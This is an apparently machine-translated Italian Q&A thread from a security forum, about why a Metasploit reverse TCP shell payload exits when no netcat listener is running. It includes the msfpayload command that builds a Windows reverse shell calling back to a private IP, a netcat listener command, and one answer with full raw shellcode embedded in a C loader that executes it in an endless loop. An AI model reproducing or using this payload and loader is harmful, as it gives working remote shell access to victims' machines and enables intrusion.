windows / shell_reverse_tcp exploit non funziona se listener non è già in esecuzione

4

Sto usando Metasploit per generare un exploit shell_reverse_tcp usando il seguente comando:

msfpayload windows/shell_reverse_tcp LHOST=192.168.1.171 x > exploit.exe

Sul lato listener sto usando netcat.

Tutto è perfetto e se eseguo prima l'ascoltatore (nc -l -p 4444) e dopo di ciò apro lo exploit.exe. Ma se il mio listener non è in esecuzione ed eseguo lo exploit.exe, si avvia e si chiude immediatamente. Quindi, se prima eseguo il file exploit.exe e avvio il listener, non funziona. Ho anche provato ReverseConnectRetries ma questo non funziona neanche.

Quindi qual è il problema? Grazie per eventuali risposte.

    
posta localhost 23.02.2016 - 11:10
fonte

4 risposte

1

If i run exploit.exe first and listener second then it doesn't work

Ovviamente no, ed è quello che reverse_tcp significa. Il carico utile è shell reverse_tcp, avvierà una connessione dalla vittima all'autore dell'attacco , quindi il listener deve essere attivo e in esecuzione per accettare la connessione.

    
risposta data 31.08.2016 - 09:26
fonte
0

Presumo che la domanda sia: questo singolo (tipo di payload) riproverà e attenderà una connessione?

Quando si esamina il file shell_reverse_tcp.rb nel proprio framework- # (guarda in moduli / payloads / singles / windows) non afferma che ci dovrebbe essere qualche tentativo di connessione. Se si guarda comunque allo stager reverse_tcp.rb (moduli / payload / stagers / windows) c'è un valore 'ReverseConnectionRetries' da impostare. So che questa non è una risposta solida, ma i singoli sono più semplici e più piccoli delle combinazioni di fasi / stadi, quindi è giusto presumere che non ci sia capacità di riconnessione, nemmeno con MSFVenom.

    
risposta data 23.02.2016 - 14:05
fonte
0

Sto cercando di trovare l'alternativa per questo problema. Così ho creato il codice shell anziché eseguibile e lo ho inserito in un programma c. Ora sto provando a inserire questo codice in un ciclo infinito ma questo non funziona anche, Se il listener non è già in esecuzione allora il programma esiste immediatamente. Non sono un programmatore esperto di c quindi per favore correggimi se sto facendo qualcosa di sbagliato. Sto usando gcc per compilare questo codice.

/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=5678, RHOST=, PrependMigrate=false, 
 * EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
 */
#include <windows.h>
unsigned char buf[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x68\xc0\xa8\x01\x07\x68\x02\x00\x02\x2b\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"
"\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
/* Launch the meterpreter shellcode */
void main()
 {
    /* Declare pointer on function */
    int (*func) ();
    /* Cast shellcode into function */
    while(1){
        func = (int (*) ()) buf;
        /* Call function (Execute shellcode) */
        (int) (*func) ();
        sleep(1000);
    }
}                                
    
risposta data 03.03.2016 - 21:33
fonte
0

Per quanto ne so, msfvenom supporta anche un tipo "service exe", forse che tenta automaticamente una riconnessione (non so). Altrimenti, penso che quello che chiedi sia semplicemente fuori portata. Come sottolineato da altre risposte di design, la shell inversa vuole connettersi a un listener che è già attivo e funzionante. Se hai bisogno di un comportamento diverso, l'opzione migliore per te è cercare il codice C della shell rovesciata, cambiarlo e compilarlo da solo.

    
risposta data 31.08.2016 - 13:07
fonte

Leggi altre domande sui tag